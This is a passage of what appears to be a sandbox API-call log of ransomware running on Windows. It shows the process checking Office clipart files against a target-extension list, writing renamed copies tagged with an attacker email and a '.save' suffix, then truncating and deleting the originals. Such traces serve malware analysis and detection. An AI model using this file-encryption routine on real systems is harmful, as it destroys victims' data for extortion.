4 [0170.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.740] lstrlenW (lpString=".rar") returned 4 [0170.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString=".bz2") returned 4 [0170.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString=".7z") returned 3 [0170.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString=".dbf") returned 4 [0170.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString=".1cd") returned 4 [0170.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString=".jpg") returned 4 [0170.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.740] lstrlenW (lpString=".doc") returned 4 [0170.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.740] lstrlenW (lpString=".docx") returned 5 [0170.740] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.740] lstrlenW (lpString=".pdf") returned 4 [0170.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString=".xls") returned 4 [0170.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.741] lstrlenW (lpString=".xlsx") returned 5 [0170.741] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.741] lstrlenW (lpString=".ppt") returned 4 [0170.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.741] lstrlenW (lpString=".zip") returned 4 [0170.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.741] lstrlenW (lpString=".rar") returned 4 [0170.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString=".bz2") returned 4 [0170.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString=".7z") returned 3 [0170.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.741] lstrlenW (lpString=".dbf") returned 4 [0170.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.741] lstrlenW (lpString=".1cd") returned 4 [0170.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0170.741] lstrlenW (lpString=".jpg") returned 4 [0170.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.742] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.742] lstrlenW (lpString="J0106146.WMF") returned 12 [0170.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.743] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=23548) returned 1 [0170.743] CloseHandle (hObject=0x540) returned 1 [0170.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0170.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.744] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.744] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.745] GetLastError () returned 0x0 [0170.745] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0170.767] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x5c00, lpOverlapped=0x0) returned 1 [0170.769] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0170.769] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0170.769] SetEndOfFile (hFile=0x548) returned 1 [0170.770] CloseHandle (hObject=0x548) returned 1 [0170.770] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0170.770] SetEndOfFile (hFile=0x540) returned 1 [0170.773] CloseHandle (hObject=0x540) returned 1 [0170.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0171.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0171.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.228] lstrlenW (lpString=".doc") returned 4 [0171.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.228] lstrlenW (lpString=".docx") returned 5 [0171.228] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.228] lstrlenW (lpString=".pdf") returned 4 [0171.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.228] lstrlenW (lpString=".xls") returned 4 [0171.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.228] lstrlenW (lpString=".xlsx") returned 5 [0171.228] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.228] lstrlenW (lpString=".ppt") returned 4 [0171.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.228] lstrlenW (lpString=".zip") returned 4 [0171.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.229] lstrlenW (lpString=".rar") returned 4 [0171.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.229] lstrlenW (lpString=".bz2") returned 4 [0171.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.229] lstrlenW (lpString=".7z") returned 3 [0171.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.229] lstrlenW (lpString=".dbf") returned 4 [0171.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.229] lstrlenW (lpString=".1cd") returned 4 [0171.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.229] lstrlenW (lpString=".jpg") returned 4 [0171.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.230] lstrlenW (lpString=".doc") returned 4 [0171.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.230] lstrlenW (lpString=".docx") returned 5 [0171.230] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.230] lstrlenW (lpString=".pdf") returned 4 [0171.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString=".xls") returned 4 [0171.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.231] lstrlenW (lpString=".xlsx") returned 5 [0171.231] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.231] lstrlenW (lpString=".ppt") returned 4 [0171.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.231] lstrlenW (lpString=".zip") returned 4 [0171.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.232] lstrlenW (lpString=".rar") returned 4 [0171.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".bz2") returned 4 [0171.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.232] lstrlenW (lpString=".7z") returned 3 [0171.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.232] lstrlenW (lpString=".dbf") returned 4 [0171.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.233] lstrlenW (lpString=".1cd") returned 4 [0171.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0171.233] lstrlenW (lpString=".jpg") returned 4 [0171.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.233] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0171.233] lstrlenW (lpString="J0107026.WMF") returned 12 [0171.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.235] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=7632) returned 1 [0171.235] CloseHandle (hObject=0x51c) returned 1 [0171.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0171.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.236] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.236] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0171.237] GetLastError () returned 0x0 [0171.237] ReadFile (in: hFile=0x51c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0171.239] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1de0, lpOverlapped=0x0) returned 1 [0171.241] ReadFile (in: hFile=0x51c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0171.241] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0171.241] SetEndOfFile (hFile=0x548) returned 1 [0171.241] CloseHandle (hObject=0x548) returned 1 [0171.241] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.241] SetEndOfFile (hFile=0x51c) returned 1 [0171.244] CloseHandle (hObject=0x51c) returned 1 [0171.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0171.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.246] lstrlenW (lpString=".doc") returned 4 [0171.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.246] lstrlenW (lpString=".docx") returned 5 [0171.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.247] lstrlenW (lpString=".pdf") returned 4 [0171.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString=".xls") returned 4 [0171.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.247] lstrlenW (lpString=".xlsx") returned 5 [0171.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.247] lstrlenW (lpString=".ppt") returned 4 [0171.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.247] lstrlenW (lpString=".zip") returned 4 [0171.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.247] lstrlenW (lpString=".rar") returned 4 [0171.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString=".bz2") returned 4 [0171.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString=".7z") returned 3 [0171.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.247] lstrlenW (lpString=".dbf") returned 4 [0171.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.247] lstrlenW (lpString=".1cd") returned 4 [0171.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.248] lstrlenW (lpString=".jpg") returned 4 [0171.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.248] lstrlenW (lpString=".doc") returned 4 [0171.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.248] lstrlenW (lpString=".docx") returned 5 [0171.248] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.248] lstrlenW (lpString=".pdf") returned 4 [0171.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.248] lstrlenW (lpString=".xls") returned 4 [0171.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.248] lstrlenW (lpString=".xlsx") returned 5 [0171.248] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.248] lstrlenW (lpString=".ppt") returned 4 [0171.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.248] lstrlenW (lpString=".zip") returned 4 [0171.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.248] lstrlenW (lpString=".rar") returned 4 [0171.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.249] lstrlenW (lpString=".bz2") returned 4 [0171.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.249] lstrlenW (lpString=".7z") returned 3 [0171.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.249] lstrlenW (lpString=".dbf") returned 4 [0171.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.249] lstrlenW (lpString=".1cd") returned 4 [0171.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0171.249] lstrlenW (lpString=".jpg") returned 4 [0171.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.249] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0171.249] lstrlenW (lpString="J0107042.WMF") returned 12 [0171.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.251] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9048) returned 1 [0171.251] CloseHandle (hObject=0x51c) returned 1 [0171.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0171.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.252] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.252] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0171.253] GetLastError () returned 0x0 [0171.253] ReadFile (in: hFile=0x51c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2358, lpOverlapped=0x0) returned 1 [0171.255] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2360, lpOverlapped=0x0) returned 1 [0171.256] ReadFile (in: hFile=0x51c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0171.256] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0171.256] SetEndOfFile (hFile=0x548) returned 1 [0171.257] CloseHandle (hObject=0x548) returned 1 [0171.257] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.257] SetEndOfFile (hFile=0x51c) returned 1 [0171.260] CloseHandle (hObject=0x51c) returned 1 [0171.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0171.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0171.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.262] lstrlenW (lpString=".doc") returned 4 [0171.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.262] lstrlenW (lpString=".docx") returned 5 [0171.262] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.262] lstrlenW (lpString=".pdf") returned 4 [0171.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.262] lstrlenW (lpString=".xls") returned 4 [0171.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.262] lstrlenW (lpString=".xlsx") returned 5 [0171.262] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.262] lstrlenW (lpString=".ppt") returned 4 [0171.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.262] lstrlenW (lpString=".zip") returned 4 [0171.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.262] lstrlenW (lpString=".rar") returned 4 [0171.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".bz2") returned 4 [0171.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".7z") returned 3 [0171.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.263] lstrlenW (lpString=".dbf") returned 4 [0171.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft 